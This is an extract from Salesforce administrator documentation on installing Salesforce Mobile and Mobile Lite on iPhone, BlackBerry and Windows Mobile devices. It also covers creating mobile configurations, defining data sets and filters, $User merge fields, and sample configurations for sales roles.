Users can access their Salesforce data from an iPhone, BlackBerry, or Windows Mobile device in a mobile client application.
There are two versions of the mobile application:

Salesforce Mobile: Salesforce Mobile lets mobile users access data for custom objects and some standard objects.
Administrators can create mobile configurations that determine which records, fields, objects, and tabs are available in the
mobile application.
Mobile Lite: Mobile Lite is the free version of the mobile product, and it doesn't include all of the functionality offered
in Salesforce Mobile. Mobile Lite supports fewer standard objects, doesn't provide support for custom objects, and doesn't
allow administrators to customize or create mobile configurations.

For organizations using Unlimited and Developer Editions, Salesforce provides one mobile license for each Salesforce license.
You can allocate mobile licenses using the Mobile User checkbox on the user's record. The Mobile User checkbox is
enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce Mobile on their
mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users.
Mobile Lite users don't need a mobile license to use the product; they can download Mobile Lite for free and activate their
Salesforce account. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile
Lite to prevent users from accessing Salesforce from a mobile device.
To disable Mobile Lite:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings.
2. Click Edit.
3. Deselect Enable Mobile Lite.

946

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

4. Click Save.

See Also:
Salesforce Mobile Overview
Mobile Lite Overview

Installing the Salesforce Mobile and Mobile Lite Mobile


Applications
Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

You can install the Salesforce Mobile and Mobile Lite applications on any supported iPhone, BlackBerry smartphone, or
Windows Mobile device.

iPhone Installation
Salesforce Mobile is available for download from Apple's App Store. To use the App Store, your iPhone or iPod touch must
be connected to the network. You also need an iTunes Store account to download applications. If you don't already have an
iTunes Store account, open iTunes on your computer and select Store > Account to set one up.
To download Salesforce Mobile from the App Store:
1.
2.
3.
4.
5.
6.

From the Home screen of your iPhone or iPod touch, select the App Store icon.
Select Search.
Select the Search field to open the keyboard. Type salesforce.
Select Salesforce Mobile or Mobile Lite in the list of search results.
Select Salesforce Mobile or Mobile Lite to view information about the application.
Select Free, and then tap Install.
Note: It doesn't cost money to download the application from the App Store. Enterprise, Professional, Unlimited,
and Developer Edition users with mobile licenses can run Salesforce Mobile, the full version of the mobile
application. Users without a mobile license can run Mobile Lite, the free, restricted version of the mobile application.

7. Enter your iTunes Store account and password and select OK.
8. The first time you launch the mobile application on your device, you must activate your Salesforce account by logging in
and downloading data. Verify that your phone is connected to a network.
9. Select the Salesforce icon on the Home screen.
10. Select I Accept.
11. On the activation screen, enter your Salesforce username and password.
12. Select Activate.
Caution: If the application closes or the device locks during the activation process, the iPhone operating system
pauses the download process, but it will resume the next time you open the app.

947

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.

BlackBerry Installation
Salesforce Mobile is available for download from BlackBerry App World. You need an App World account to download apps
on your BlackBerry, but you can create an account from your device if you don't already have one. To install the mobile app
from BlackBerry App World:
1. Select the BlackBerry App World icon.
If the icon is not available on your device, you might need to download BlackBerry App World. App World can't run on
all BlackBerry smartphones, so be sure to review Research in Motion's system requirements before trying to install BlackBerry
App World on your device.
2. Select the Search icon.
3. Enter salesforce in the Search field.
4. In the search results, select Salesforce Mobile orMobile Lite.
5. Click Download.
6. After the installation completes, select OK.
7. When prompted whether to permit the app to access the phone, select Allow.
8. When prompted whether to permit the application to access tp.mobile.salesforce.com, select Yes.
9. Close BlackBerry App World.
10. Select the app icon, which resides on the home page of your device or in the Applications folder. On newer phones, the
icon may be in the Downloads folder.
11. Read the license agreement and select I Accept.
12. Enter your Salesforce username and password.
Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox
is selected by default. To protect your password, you can deselect the option.
13. Select Activate.
After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last
a few minutes. Future updates to the data occur automatically.
Note: Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to
remotely deliver Salesforce Mobile to users. For more information about Application Push, see the topic titled
BlackBerry Enterprise Server Application Push in the Salesforce Mobile Implementation Guide.
BlackBerry users can also install Salesforce Mobile over-the-air directly from Salesforce.com if they are unable to
download the app from the BlackBerry App World.
Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.

Windows Mobile Installation


To install the mobile client application on a Windows Mobile device, locate the app in the Windows Marketplace or do the
following:
1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce
Mobile email message from your Salesforce administrator, you can also click the download link in the message.

948

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

Note: The installation process for Windows Mobile requires that you use Internet Explorer as the browser.

2. Download the installer.


If your phone has a touch screen:
a. Tap the Download the application link.
b. Verify that the Open file after download checkbox is selected in the Download dialog.
c. Select Yes.
If your phone does not have a touch screen:
a. Select Download, then select Yes.
b. After the application downloads, select Done.
3. Return to the phone's home page. From the Start menu, select Salesforce Mobile or Mobile Lite from the list of installed
programs.
4. Read the license agreement and select I Accept.
5. Enter your Salesforce username and password.
6. Select Activate.
After your username and password are confirmed by Salesforce, the data downloads, and the icon pulses to show activity.
The initial data download may last a few minutes. Future updates to the data occur automatically.
Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom
fields.
7. After your records have been downloaded to the device, the login screen appears. The mobile application remembers your
username and only prompts you for your password. Enter your password, and select Login.

Zero-Administration Mobile Deployment


If you have been assigned a mobile license but your administrator has not set up your mobile configuration, you can sign up
for Salesforce Mobile with the default mobile configuration. The default configuration automatically synchronizes the records
you most recently accessed in Salesforce to your mobile device. You can also search for and download any records from Salesforce
that are not available locally on your device. Before you activate the mobile application with the default configuration:

Review your personal setup to find out if your user account has been assigned a mobile license. If the Mobile User checkbox
is selected but the Mobile Configuration field is blank, you can activate Salesforce Mobile using the default mobile
configuration.
Verify that your device is supported and can run the mobile client application.
Install the client application.

See Also:
Salesforce Mobile Overview

949

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

Downloading Salesforce Mobile Over-the-Air from Salesforce.com


Available in: All Editions except Database.com

The BlackBerry App World is the preferred place for downloading the Salesforce Mobile app because users are automatically
notified as upgrades become available. However, some BlackBerry administrators restrict users from downloading and using
the BlackBerry App World on their devices. BlackBerry users can install Salesforce Mobile over-the-air directly from
Salesforce.com if they are unable to access BlackBerry App World.
To download Salesforce Mobile over-the-air:
1. Point your mobile browser to mobile.salesforce.com/bb.
2. Highlight the Download the application link and select Get Link from the menu.
3. Select Download. If prompted to replace an older version of the client application, select Yes.
Note: The minimum BlackBerry operating system requirement for the mobile application is 4.3. If you're running
versions 4.04.3 of the operating system, you can still download and install the mobile application; however, the
mobile server will detect the older operating system and send version 11.6 of the mobile application, which was
the last release that supported operating system versions 4.04.3. You can't use any of the new features included
in the current release or future releases until you upgrade to the most recent BlackBerry operating system for your
phone.
4. Select Reboot to restart your device.
5. When prompted to allow an HTTP connection, select the tp.mobile.salesforce.com checkbox. Scroll down and
select Allow this connection.
6. Select the Salesforce Mobile icon, which resides on the home page of your device or in the Applications folder. On newer
phones, the icon may be in the Downloads folder.
7. Read the license agreement and select I Accept.
8. Enter your Salesforce username and password.
Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox
is selected by default. To protect your password, you can deselect the option.
9. Select Activate.
After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last
a few minutes. Future updates to the data automatically occur behind the scenes.

950

Salesforce Mobile

Managing Mobile Configurations

Managing Mobile Configurations


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To create, change, or delete mobile configurations:

Manage Mobile Configurations

To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on
their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
Administrators should note that a default mobile configuration is provided for Professional, Enterprise, Unlimited, and
Developer Edition organizations. Administrators cannot view or edit the default configuration.
To manage your Salesforce Mobile configurations, click Your Name > Setup > Mobile Administration > Salesforce Mobile
> Configurations.

To define a mobile configuration, click New Mobile Configuration.


To define data sets for a mobile configuration, click the name of the mobile configuration, then click Edit in the Data Sets
related list.
To change the properties of mobilized objects, click the name of the mobile configuration, then click Edit next to an object
name in the Mobile Object Properties related list.
To customize a mobile configuration's tabs, click the name of the mobile configuration, then click Edit in the Mobile
Tabs related list.
To create custom views for a mobile configuration, click the name of the mobile configuration, then click Edit in the
Mobile Views related list.
To make changes to a mobile configuration, click Edit.
To delete a mobile configuration, click Del.
To view details about a mobile configuration, click its name.
To clone a mobile configuration, select the mobile configuration you want to clone and click Clone.
To activate a mobile configuration, click Edit next to the mobile configuration you want to activate, select Active, and
click Save. Deselect Active to deactivate the mobile configuration.

951

Salesforce Mobile

Managing Mobile Configurations

Note: After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining
how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to
manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview
Sample Data Sets
Salesforce Mobile Implementation Guide
Creating Mobile Links
Sending Emails to Mobile Users
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Erasing Mobile Data

Implementation Tips
Building Lean Data Sets

Keep the data sets in your mobile configurations as small as possible. Not only do lean data sets greatly improve the
application's performance, but they also make the application easier to usepushing massive amounts of data to the device
might seem like a good idea, but the important records tend to get lost among the ones that aren't relevant to users'
day-to-day activities. Small data sets are powerful because the mobile application synchronizes with Salesforce every 20
minutes, so the data is constantly refreshed with new and updated records. Even if your mobile configurations don't account
for every possible record your users might need, they can search for records that aren't automatically synchronized to their
devices.
To build small data sets:
Nest the objects in the data set tree. For example, add contacts as a child data set of the account object so that the data
set includes contacts related to the mobilized accounts instead of all the user's contacts.
Avoid setting the record ownership filter to All Records unless your organization uses a private sharing model. It's
unlikely that users need to see all of an object's records on their devices. Instead of mobilizing all opportunity records,
for example, mobilize just the opportunities owned by the user or the user's sales team.
Use filters that synchronize the most relevant records. For example, even if you limit the opportunities on the device
to records owned by the user, you could further prune the data set by mobilizing only opportunities closing this month.
Set a record limit to prevent the data set from getting too large. Generally, a single data set should generate no more
than 2,500 records.

Another way to build lean data sets is to mobilize the Salesforce recent items list, add the data sets, and set the record
ownership filters in your data sets to None (Search Only). The user's data set is populated with records recently accessed
in Salesforce, and those records in turn synchronize additional data based on the data set hierarchy. For example, let's say
you create a data set with the account object at the root level and add the contact, task, and event objects as child data sets.
When the mobile application synchronizes an account from the Salesforce recent items list, it also synchronizes the contacts,
tasks, and events related to that account.
If you're not sure which fields to use as filters for your data sets or mobile views, consider using the Last Activity Date
field. For example, set up a filter that synchronizes contacts with an activity logged this week or this month. The Last

952

Salesforce Mobile

Managing Mobile Configurations

Activity Date field is a better indicator of a record's relevance than the Last Modified Date fieldoften the main detail
of a record remains unchanged even though users frequently log related tasks and events.
Mobilizing Records Users Need

Before mobilizing a custom object, make sure the object's functionality is compatible with the mobile application. The
mobile application does not support s-controls, mashups, merge fields, image fields, or custom links.
To obtain a relevant set of activities, mobilize the task and event objects at the root level of the data set hierarchy and nest
them under parent objects, like contacts, accounts, and opportunities. Adding tasks and events at multiple levels ensures
that users will see their personal activities and activities related to the records on their devices. Avoid mobilizing too much
activity history or too many tasks and events not owned by the user. Generally, there are more task and event records in
an organization than any other type of record, so it's easy to bloat data sets with too many activities.
If your sales representatives frequently take orders in the field and need a comprehensive inventory list, add the product
object at the root level of the data set hierarchy. Nesting the opportunity product object below the opportunity object won't
mobilize all products.
If your users need to assign tasks to other users or change the record owner, mobilize the user object so that the names of
other users will be available on the device. Avoid mobilizing all user recordsinstead, set up filters based on the role or
profile.
Be sure that users assigned to a mobile configuration have field-level access to all the fields used in the configuration's filter
criteria. If a user doesn't have access to a field in a data set's filter criteria, the mobile application won't synchronize the
records for that data set or its child data sets.
You can sometimes use cross-object formula fields to work around limitations of the mobile application. For example, the
mobile application doesn't support campaigns, so you can't add the campaign object as a data set and add the opportunity
object as its child data set to get the related records. However, you can create a text formula field on the opportunity object
equal to the name of the parent campaign. The field needs to be visible, but it doesn't need to be included on your page
layouts. Then add the opportunity object to the data set and use the new formula field to filter opportunities related to a
specific campaign.
Although a mobile configuration might include an object at multiple levels in the data set hierarchy, users won't see duplicate
tabs in the mobile application. Only one Task tab appears on the device even if you mobilize the task object at the root
level and as a child data set of three objects.

Customizing Mobile Configurations

Clean up your mobile page layouts by excluding fields from the objects in the mobile configuration. Less data is sent to
the device, and mobile users don't have to scroll through unnecessary fields.
If you mobilize the Dashboards tab, be sure to select any other tabs that should appear in the mobile application. Customizing
the tabs for a mobile configuration overrides the default tab setif you only mobilize the Dashboard tab, it will be the
only tab sent to the device.
The Windows Mobile application doesn't include a standard view for tasks that displays today's tasks. To provide this view
to Windows Mobile users, create a custom mobile view with these filter criteria:
Assigned To equals $User.ID
Due Date equals TODAY
To create a view that displays tasks due this week instead of the current day, substitute THIS WEEK for TODAY.

Due to the small size of mobile device screens, you can only select two display columns for mobile views. If you need three
columns of data, create a text formula field on the object that concatenates the three fields, then use the formula field in
the mobile view criteria.
When creating mobile views, you can filter based on the current user with the $User.ID global variable, but you can't enter
a user's name as a value in the filter criteria. To build a view based on users, create a text formula field on the appropriate
object, then use the formula field in the mobile view criteria. For example, to create a view that displays opportunities

953

Salesforce Mobile

Managing Mobile Configurations

owned by a sales team, create a text formula field on the opportunity object that contains the opportunity owner's user ID
or role, then create a view that filters on values in that field.
Testing and Deploying the Mobile Product

It's important to test mobile configurations to make sure they're synchronizing an acceptable amount of data. Test
configurations against active users who own a very large number of records. Typically, most data sets generate between
500 KB and 4 MB of data. If the data sets are over 4 MB, refine the filter criteria to limit the amount of data sent to the
device.
You can use the mobile application in the sandbox before deploying to your organization.
Use of the mobile application requires a data plan. The wireless data volume for the mobile application varies greatly
between customers and even users in the same organization. It's impossible to predict your organization's data usage, but
we can offer some guidelines:
The initial data download consists of records that match the criteria specified in the user's mobile configuration and
the metadata needed to support these records when disconnected. On average, the data sizes range from 500 KB4
MB.
After the initial download of data, incremental update requests are initiated by the client application every 20 minutes.
Each of these requests and the corresponding server response are approximately 200 bytes.
If any new data is downloaded to the client application as a result of the update request, only the new or changed values
are sent. For example, the application only downloads the new phone number in a contact record, not the entire contact
record. The amount of data transmitted differs for every organization and every user.
Generally, the volume of data transmitted by the mobile application is low compared to moderate email usage.

If you're deploying to BlackBerry users, evaluate your corporate network infrastructure before implementing the mobile
solution.

Best Practices

Use the zero-administration deployment option to experiment with the mobile application before you set up mobile
configurations. You'll create better blueprints for your mobile configurations if you've tried using the mobile application.
Talk to users about their favorite reports, views, and dashboards to get ideas for what filter criteria to use in mobile
configurations.
After setting up mobile configurations, deploy the mobile application on a limited basis with a select group of users. Adjust
the mobile setup based on their feedback, then deploy to all of your users.

About the Default Mobile Configuration


Available in: All Editions except Database.com

Mobile configurations are sets of parameters that determine what data Salesforce transmits to users' mobile devices and which
users receive the data on their mobile devices. A default mobile configuration is provided for Professional, Enterprise, Unlimited,
and Developer Edition organizations. Administrators cannot view or edit the default mobile configuration.
The default mobile configuration serves two purposes:

954

Salesforce Mobile

Managing Mobile Configurations

It allows users with an assigned mobile license to install and activate Salesforce Mobile, even if their administrators have
not yet assigned them to a mobile configuration.
Caution: To prevent users from activating Salesforce on their mobile devices before you are ready to deploy mobile
in your organization, remove the mobile license from your user accounts by editing the user records and deselecting
the Mobile User checkbox.

It allows users without an assigned mobile license to install and activate Mobile Lite, which is the free version of Salesforce
Mobile. To prevent users from activating Mobile Lite on their mobile devices, disable Mobile Lite for your organization
by editing your mobile settings.

The default configuration can mobilize the following objects:

Accounts
Assets
Cases
Contacts
Dashboards
Events
Leads
Opportunities
Reports
Solutions
Tasks

The default configuration automatically synchronizes records the user recently accessed in Salesforce. Users can search for
records that are not automatically synchronized; once the user downloads a record, the record becomes a permanent part of
the data set. In addition to recently accessed records, the default configuration synchronizes activities closed in the past five
days and open activities due in the next 30 days.
Note:

Assets are not available as a tab in the mobile application. Assets display as a related list for accounts, cases, and
contacts.
Dashboards are not available in the Windows Mobile client application.

955

Salesforce Mobile

Creating Mobile Configurations

Creating Mobile Configurations


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To create, change, or delete mobile configurations:

Manage Mobile Configurations

To create a mobile configuration:


1.
2.
3.
4.
5.

Enable Users for Salesforce Mobile


Enter Basic Information
Assign Users and Profiles
Set Total Data Size Limit
Complete Your Mobile Configuration
Note: If your organization enabled Mobile Lite, you don't need to create any mobile configurations. Mobile Lite
users are assigned to a default mobile configuration when they activate their Salesforce account from a mobile device.
You can't view or edit the default mobile configuration.

Enable Users for Salesforce Mobile


Before creating your mobile configurations, plan which profiles and users you want to assign to each configuration. Each
mobile configuration only affects the mobile devices of users assigned to the configuration.
You can assign individual users and profiles to each mobile configuration. If you assign a profile to a mobile configuration,
the mobile configuration applies to all Salesforce Mobile users with that profile unless a specific user is assigned to another
mobile configuration.
Tip: For ease of administration, we recommend that you assign mobile configurations to profiles; however, you may
have situations in which you need to assign a configuration directly to individual users.
For each user you want to assign to a mobile configuration:
1. Edit the user's record.
2. Select the Mobile User checkbox to allocate a mobile license to the user. This checkbox is enabled by default for Unlimited
Edition users. The Mobile User checkbox doesn't apply to Mobile Lite users because they can access Salesforce from
their device without a mobile license.
To prevent Salesforce Mobile users from activating Salesforce on their mobile devices before you are ready to deploy mobile
in your organization, disable the checkbox for all your users. If you deselect this checkbox for a user who is already assigned
to a mobile configuration, Salesforce removes that user from the mobile configuration. For information on the Mobile
User checkbox, see User Fields on page 32.

956

Salesforce Mobile

Creating Mobile Configurations

For each custom profile to which mobile users are assigned, edit the profile to include the API Enabled permission. Mobile
users need access to the API so that their wireless devices can communicate with Salesforce. The API Enabled permission
is enabled by default on standard profiles. For information on editing profiles, see User Profiles Overview on page 521.

Enter Basic Information


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations to access the mobile
configurations list page.
2. Click New Mobile Configuration.
3. Enter a name for the mobile configuration.
4. Select the Active checkbox if you want to activate the mobile configuration immediately after creating it. The mobile
configuration does not work until you select this checkbox.
If you deactivate an active mobile configuration, Salesforce saves all requests from devices of the users assigned to the
mobile configuration for up to one week. If you reactivate the mobile configuration, Salesforce executes those requests in
the order received.
5. Optionally, enter a description for the mobile configuration.
6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce for device
synchronization.
Selecting this option ensures that mobile users assigned to the configuration will not have to search for and download items
they recently accessed on Salesforce, even if those records do not meet the configuration's filter criteria. Only records
belonging to mobilized objects can be marked for device synchronization; for example, if you do not mobilize the account
object in a configuration, users assigned to that configuration cannot automatically receive recent accounts on their devices.
7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items
drop-down list. Set a low number if your users have minimal free space on their mobile devices.
8. Optionally, select the Mobilize Followed Records checkbox to automatically synchronize records users are following
in Chatter to their mobile device. The device only synchronizes followed records for objects included in the mobile
configuration's data set.
The Mobilize Followed Records checkbox is only available if Chatter is enabled for your organization.

Assign Users and Profiles


To assign users and profiles to a mobile configuration:
1. In the Search drop-down list, select the type of member to add: users or profiles. This drop-down list is not available if
you have not enabled the Mobile User checkbox on any user records, or if all users are already assigned to a mobile
configuration; in that case, you can only assign profiles to this mobile configuration.
2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find.
3. Select users and profiles from the Available Members box, and click the Add arrow to add them to the mobile
configuration.
You can assign each user and profile to only one mobile configuration.
The Available Members box only displays users who have the Mobile User checkbox enabled. For information on
this checkbox, see User Fields on page 32.
4. If there are users or profiles in the Assigned Members box you do not want to assign to this mobile configuration, select
those users and click the Remove arrow.
Caution: Removing a user from an active mobile configuration deletes the Salesforce-related data on the user's
mobile device but does not delete the client application.

957

Salesforce Mobile

Creating Mobile Configurations

Set Total Data Size Limit


Different types of mobile devices offer different memory capacities, and some devices experience serious problems if all of the
flash memory is used. To avoid overloading mobile devices, optionally specify a total data size limit for each mobile configuration.
The total data size limit prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile
configuration.
To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount of
memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If the
combined size of all the data sets exceeds this limit, users assigned to this profile receive an error message on their mobile
devices, and Salesforce will not synchronize any data sets in this mobile configuration. Test your mobile configuration to make
sure the data sets do not exceed the total data size limit.
Tip: To reduce the size of your data, do one or more of the following:

Delete a data set.


Reduce the scope of your data sets.
Refine the filter criteria of your data sets.

Complete Your Mobile Configuration


Click Save when you are done. Note that your mobile configuration is not active until you select the Active checkbox.
Next, define the data sets for this mobile configuration to determine the data that members of the mobile configuration receive
on their mobile devices and test the configuration to verify that the data size limit for a user's device will not be exceeded.
After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's
mobile devices.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices
Chatter Mobile App Overview

958

Salesforce Mobile

Defining Data Sets

Defining Data Sets


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile data sets:

View Setup and Configuration

To create, change, or delete mobile data sets:

Manage Mobile Configurations

Accessing Salesforce from a mobile device is very different than accessing it from your computer. This is because mobile devices
generally have less memory and screen size than computers, and they do not maintain a constant network connection. To
work with these limitations, each mobile configuration only transfers data sets, which are subsets of the records users access
in the Salesforce online user interface. Mobile devices store data sets in on-board databases, allowing users to access their most
important records and work offline when no network connection is available. Salesforce automatically synchronizes the on-board
databases when the mobile device reestablishes a network connection.
Each data set can contain records related to a single object and is classified by the name of that object. For example, the
Accounts data set only includes account records.
Data sets can have child data sets, which are data sets that contain records associated with a top-level (parent) data set. For
example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set that includes all
contact records related to the account records. Child data sets appear as related lists on mobile devices.
A single mobile configuration can have multiple data sets for the same object and at different levels. For example, you can
have an Events parent data set and an Events child data set under Leads.
Tip: Review the sample data sets to see how you might define data sets for common groups of Salesforce users.

After creating a mobile configuration, you must define its data sets. To access the data sets for a mobile configuration:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the
mobile configuration you want to modify.
2. In the Data Sets related list, click Edit.
3. From the Data Sets page, you can:

Add a data set.


Remove a data set by selecting the data set you want to remove and clicking Remove.
Edit a data set by selecting the data set you want to edit in the hierarchy. The right pane displays the filters for that
data set.
Test your mobile configuration.

As you define and modify the data sets, Salesforce automatically saves your changes.
4. Click Done when you are finished.

Adding Data Sets


To add a data set:

959

Salesforce Mobile

Defining Data Sets

1. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set.
2. Click Add....
3. In the popup window, select the object for the records you want the data set to include. Salesforce lets you create parent
data sets for all custom objects and the following standard objects:

Accounts
Assets
Attachments
Cases
Contacts
Content
Events
Leads
Notes
Opportunities
Price Books
Products
Solutions
Tasks
Users
Note:

Although attachments are available as a data set, they're only supported in Salesforce Mobile for Windows
Mobile. Salesforce Mobile for iPhone and BlackBerry don't currently support attachments.
The Windows Mobile application does not currently support solutions.
Salesforce Mobile supports default field values only for picklists and multiselect picklists. Default field values
for other types of fields, such as checkboxes and numeric fields, do not appear in Salesforce Mobile.

When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This
includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object.
For example, assume you created an account field called Primary Contact with a lookup relationship to the contact object.
If you add Account as a top-level data set in a mobile configuration, you see two sets of contacts when you add Contact
below Account:

Contact: Represents the standard relationship between the account and contact objects.
Contact (Referenced by Account): Represents any object that is the parent in a lookup or master-detail relationship
for the selected object. In this case, the contact object is referenced by the Primary Contact field on the account object.

Because Salesforce distinguishes between these two types of relationships, you could, for example, mobilize just the contacts
referenced by a custom account field without sending any child contact records to the device.
4. Click OK. The data set you created appears in the hierarchy.
5. Optionally, use filters to restrict the records that a parent or child data set includes:
a. Use the Filter by Record Ownership options to configure Salesforce to automatically synchronize records based on the
owner of the record. The possible options are:

All Records: Salesforce automatically synchronizes all records the user can access. The All Records option

is not available for tasks and events when they are parent data sets in a mobile configuration. This helps prevent
failed data synchronization due to activity filter queries that take too long to run.
User's Records: Salesforce automatically synchronizes all records the user owns.

960

Salesforce Mobile

Defining Data Sets

User's Team's Records: Salesforce automatically synchronizes all records owned by the user and the user's

subordinates in the role hierarchy.

User's Account Team's Records: Salesforce automatically synchronizes accounts for which the user is an

account team member, but does not include accounts owned by the user.
User's Sales Team's Records: Salesforce automatically synchronizes opportunities for which the user is a
sales team member, but does not include opportunities owned by the user.
None (Search Only): Salesforce does not automatically synchronize any records for this data set; however, users
can use their mobile devices to search all of the records they can access.

Salesforce only displays options that relate to the selected data set. For example, selecting an account data set displays
the User's Account Team's Records option, while selecting an opportunity data set displays the User's Sales
Team's Records option.
If your mobile needs for an object require a combination of the available record ownership filters, you can add the same
object data set up to four times on the same hierarchy level. For example, a sales manager might want to synchronize
his opportunities, opportunities owned by his subordinates, and opportunities for which he is a sales team member. In
this case, you would add an opportunity data set and select User's Team's Records, then add a second opportunity
data set at the same level in the hierarchy and select User's Sales Team's Records. Note that objects with only
one ownership filter option, such as Case Comment, cannot be added multiple times at the same level of the hierarchy.
b. Set the filter criteria to automatically synchronize only records that meet specific criteria in addition to the Filter by
Record Ownership option you selected. For example, you can set the filter to only include opportunity records with
amounts greater than $50,000, or contact records with the title Buyer. You can use special date values in your filter
conditions for mobile configurations. Additionally, several $User global variables are available in mobile filters.
Click Add Filter Logic to change the default AND relationship between each filter.
c. To prevent a single data set from consuming all the memory on a mobile device, select the second radio button under
Set Max Record Limit and enter the maximum number of records this data set can transfer to mobile devices. Use the
Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded.
If the limit is reached, Salesforce updates the records currently on the mobile device approximately every 20 minutes,
and replaces the records approximately every 24 hours in accordance with the Order By and Sort settings. For example,
if the settings are Last Modified Date and Descending, Salesforce transfers the most recently modified records to
mobile devices and removes the same number of records that were least recently modified.
If you selected the None (Search Only) Filter by Record Ownership option, the limit you set does not apply because
no records are automatically synchronized.
Tip: Do not use Set Max Record Limit in place of filters. Only use Set Max Record Limit as a safety mechanism,
and use filters as the primary means of limiting the number of records on a mobile device. This ensures that
your mobile users receive the correct records on their devices.
Because of the memory restrictions of mobile devices, Salesforce prevents a single query from returning more than
2,500 records.
6. Be sure to test your mobile configuration to make sure the data does not exceed the total data size limit.
7. Click Done when you are finished.

961

Salesforce Mobile

Defining Data Sets

8. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your
organization's mobile devices.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Editing Mobile Object Properties
Managing Mobile Views
Managing Mobile Tabs
Sending Emails to Mobile Users
Managing Mobile Devices
Setting Up Mobile Content

Merge Fields for Mobile Filter Criteria


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

Some of the $User merge fields are available when defining filters for mobile configurations and mobile custom views. In
mobile configurations, you can use these merge fields to synchronize records where the user is linked to a record but is not the
record owner. For example, you can send cases created by the current user to the mobile device, or you can send records to the
device where the current user is referenced in a custom field. In mobile views, you can use the merge fields to define view based
on the record owner; for example, you might create a view that displays the current user's accounts with a rating of Hot.
The following table describes the available user merge fields:
Merge Field

Description

$User.ID

References the ID of the current user. This merge field can


be applied to fields that contain a user lookup. The valid
operators for this merge field are Equals and Not Equal To.
When creating mobile view filters that reference an owner
field, you can only use the $User.ID merge field.

$User.Username

References the username of the current user. This merge field


can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.

$User.Firstname

References the first name of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,

962

Salesforce Mobile

Merge Field

Defining Data Sets

Description
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.

$User.Lastname

References the last name of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.

$User.Fullname

References the first and last name of the current user. This
merge field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.

See Also:
Managing Mobile Configurations
Understanding Global Variables
Salesforce Mobile Overview

Sample Data Sets


Many administrators create mobile configurations based on the functional groups in their organization because users in the
same group usually have similar mobile requirements for data. Below are sample data sets for common Salesforce groups. Your
mobile users have unique needs, but you can use the examples as a reference to help you get started with mobile configurations.
Sales Manager
Sales managers usually need to see records they own and also the records of their subordinates. They also tend to closely
monitor large deals in the pipeline.
This mobile configuration allows sales managers to see:

The opportunities they own.


The opportunities owned by users who report to them in the role hierarchy.
All opportunities scheduled to close in the current quarter with an amount greater than $100,000.
All accounts related to the opportunities.
A subset of their contact and activity records.

963

Salesforce Mobile

Defining Data Sets

Figure 3: Sample Mobile Configuration for Sales Managers


Sales Engineer
The sales engineer mobile configuration retrieves opportunities owned by the other members of the user's sales team, but does
not include the user's records. The configuration is opportunity-based because all accounts and contacts sent to the device are
related to the opportunities. The sales engineers would see activity history related to the opportunities on the device and also
their own activities.

